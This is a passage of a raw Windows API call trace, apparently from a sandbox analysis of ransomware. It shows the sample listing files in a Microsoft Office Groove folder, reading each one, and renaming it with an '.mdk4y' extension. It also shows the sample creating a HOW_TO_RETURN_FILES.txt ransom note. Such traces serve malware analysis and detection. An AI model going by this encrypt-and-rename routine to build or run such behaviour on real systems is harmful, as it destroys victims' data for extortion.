lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="StaticText.jpg.jpg", lpUsedDefaultChar=0x37dd1c) returned 14 [0216.306] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\StaticText.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\statictext.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.307] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829153700000) returned 1 [0216.307] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x37a7, lpOverlapped=0x0) returned 1 [0216.312] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829154200000) returned 1 [0216.312] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829154200000) returned 1 [0216.312] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\StaticText.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\statictext.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\StaticText.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\statictext.jpg.mdk4y")) returned 1 [0216.313] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.313] AreFileApisANSI () returned 1 [0216.313] GetACP () returned 0x4e4 [0216.313] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TEXTAREA.JPG", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="TEXTAREA.JPGpg", lpUsedDefaultChar=0x37dd1c) returned 12 [0216.313] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTAREA.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textarea.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.314] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829154400000) returned 1 [0216.314] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x3983, lpOverlapped=0x0) returned 1 [0216.326] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829155600000) returned 1 [0216.326] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829155600000) returned 1 [0216.327] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTAREA.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textarea.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTAREA.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textarea.jpg.mdk4y")) returned 1 [0216.328] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.328] AreFileApisANSI () returned 1 [0216.328] GetACP () returned 0x4e4 [0216.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TEXTBOX.JPG", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="TEXTBOX.JPGG", lpUsedDefaultChar=0x37dd1c) returned 11 [0216.328] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textbox.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.329] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829155900000) returned 1 [0216.329] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x3a97, lpOverlapped=0x0) returned 1 [0216.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829157000000) returned 1 [0216.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829157000000) returned 1 [0216.341] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textbox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTBOX.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textbox.jpg.mdk4y")) returned 1 [0216.342] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.342] AreFileApisANSI () returned 1 [0216.342] GetACP () returned 0x4e4 [0216.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TEXTVIEW.JPG", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="TEXTVIEW.JPG", lpUsedDefaultChar=0x37dd1c) returned 12 [0216.342] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTVIEW.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textview.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829157300000) returned 1 [0216.343] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x42fa, lpOverlapped=0x0) returned 1 [0216.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829157800000) returned 1 [0216.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829157800000) returned 1 [0216.348] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTVIEW.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTVIEW.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textview.jpg.mdk4y")) returned 1 [0216.349] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.349] AreFileApisANSI () returned 1 [0216.349] GetACP () returned 0x4e4 [0216.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="UnformattedNumeric.jpg", cchWideChar=22, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="UnformattedNumeric.jpgo", lpUsedDefaultChar=0x37dd1c) returned 22 [0216.350] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\UnformattedNumeric.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\unformattednumeric.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829158000000) returned 1 [0216.350] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x4127, lpOverlapped=0x0) returned 1 [0216.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829159000000) returned 1 [0216.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829159000000) returned 1 [0216.361] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\UnformattedNumeric.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\unformattednumeric.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\UnformattedNumeric.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\unformattednumeric.jpg.mdk4y")) returned 1 [0216.362] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 0 [0216.362] FindClose (in: hFindFile=0x6ab410 | out: hFindFile=0x6ab410) returned 1 [0216.363] AreFileApisANSI () returned 1 [0216.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 123 [0216.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37da54, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0216.363] GetFileType (hFile=0x13c) returned 0x1 [0216.364] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.364] AreFileApisANSI () returned 1 [0216.364] GetACP () returned 0x4e4 [0216.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FORM.ICO", cchWideChar=8, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FORM.ICOePreview", lpUsedDefaultChar=0x37dda8) returned 8 [0216.364] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\form.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829159500000) returned 1 [0216.365] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x13e, lpOverlapped=0x0) returned 1 [0216.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829159600000) returned 1 [0216.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829159600000) returned 1 [0216.366] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\form.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\form.ico.mdk4y")) returned 1 [0216.367] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.367] AreFileApisANSI () returned 1 [0216.367] GetACP () returned 0x4e4 [0216.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsBlankPage.html", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsBlankPage.htmlif", lpUsedDefaultChar=0x37dda8) returned 19 [0216.367] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsblankpage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829160300000) returned 1 [0216.373] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x4b2, lpOverlapped=0x0) returned 1 [0216.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829162000000) returned 1 [0216.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829162000000) returned 1 [0216.390] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsblankpage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsblankpage.html.mdk4y")) returned 1 [0216.392] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.392] AreFileApisANSI () returned 1 [0216.393] GetACP () returned 0x4e4 [0216.393] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsBrowserUpgrade.html", cchWideChar=24, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsBrowserUpgrade.html", lpUsedDefaultChar=0x37dda8) returned 24 [0216.393] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsbrowserupgrade.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829163200000) returned 1 [0216.402] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x7a7, lpOverlapped=0x0) returned 1 [0216.415] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829164500000) returned 1 [0216.415] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829164500000) returned 1 [0216.416] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsbrowserupgrade.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBrowserUpgrade.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsbrowserupgrade.html.mdk4y")) returned 1 [0216.417] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.428] AreFileApisANSI () returned 1 [0216.428] GetACP () returned 0x4e4 [0216.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsDoNotTrust.html", cchWideChar=20, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsDoNotTrust.htmlhtml", lpUsedDefaultChar=0x37dda8) returned 20 [0216.429] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsDoNotTrust.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsdonottrust.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.430] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829166000000) returned 1 [0216.430] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x805, lpOverlapped=0x0) returned 1 [0216.478] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829170800000) returned 1 [0216.478] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829170800000) returned 1 [0216.479] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsDoNotTrust.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsdonottrust.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsDoNotTrust.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsdonottrust.html.mdk4y")) returned 1 [0216.480] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.480] AreFileApisANSI () returned 1 [0216.480] GetACP () returned 0x4e4 [0216.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsHomePage.html", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsHomePage.htmlml", lpUsedDefaultChar=0x37dda8) returned 18 [0216.480] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.483] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829171300000) returned 1 [0216.483] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xc96, lpOverlapped=0x0) returned 1 [0216.484] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829171400000) returned 1 [0216.484] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829171400000) returned 1 [0216.484] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePage.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepage.html.mdk4y")) returned 1 [0216.486] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.486] AreFileApisANSI () returned 1 [0216.486] GetACP () returned 0x4e4 [0216.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsHomePageScript.js", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsHomePageScript.jsml", lpUsedDefaultChar=0x37dda8) returned 22 [0216.486] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageScript.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagescript.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.489] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829171800000) returned 1 [0216.489] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x15fc, lpOverlapped=0x0) returned 1 [0216.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829172100000) returned 1 [0216.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829172100000) returned 1 [0216.491] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageScript.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagescript.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageScript.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagescript.js.mdk4y")) returned 1 [0216.492] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.492] AreFileApisANSI () returned 1 [0216.492] GetACP () returned 0x4e4 [0216.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsHomePageStyle.css", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsHomePageStyle.css", lpUsedDefaultChar=0x37dda8) returned 22 [0216.492] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagestyle.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829172300000) returned 1 [0216.493] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x40c, lpOverlapped=0x0) returned 1 [0216.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829172400000) returned 1 [0216.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829172400000) returned 1 [0216.495] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagestyle.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageStyle.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagestyle.css.mdk4y")) returned 1 [0216.495] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.495] AreFileApisANSI () returned 1 [0216.495] GetACP () returned 0x4e4 [0216.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsPreviewTemplate.html", cchWideChar=25, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsPreviewTemplate.html", lpUsedDefaultChar=0x37dda8) returned 25 [0216.496] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPreviewTemplate.html" (normalized: 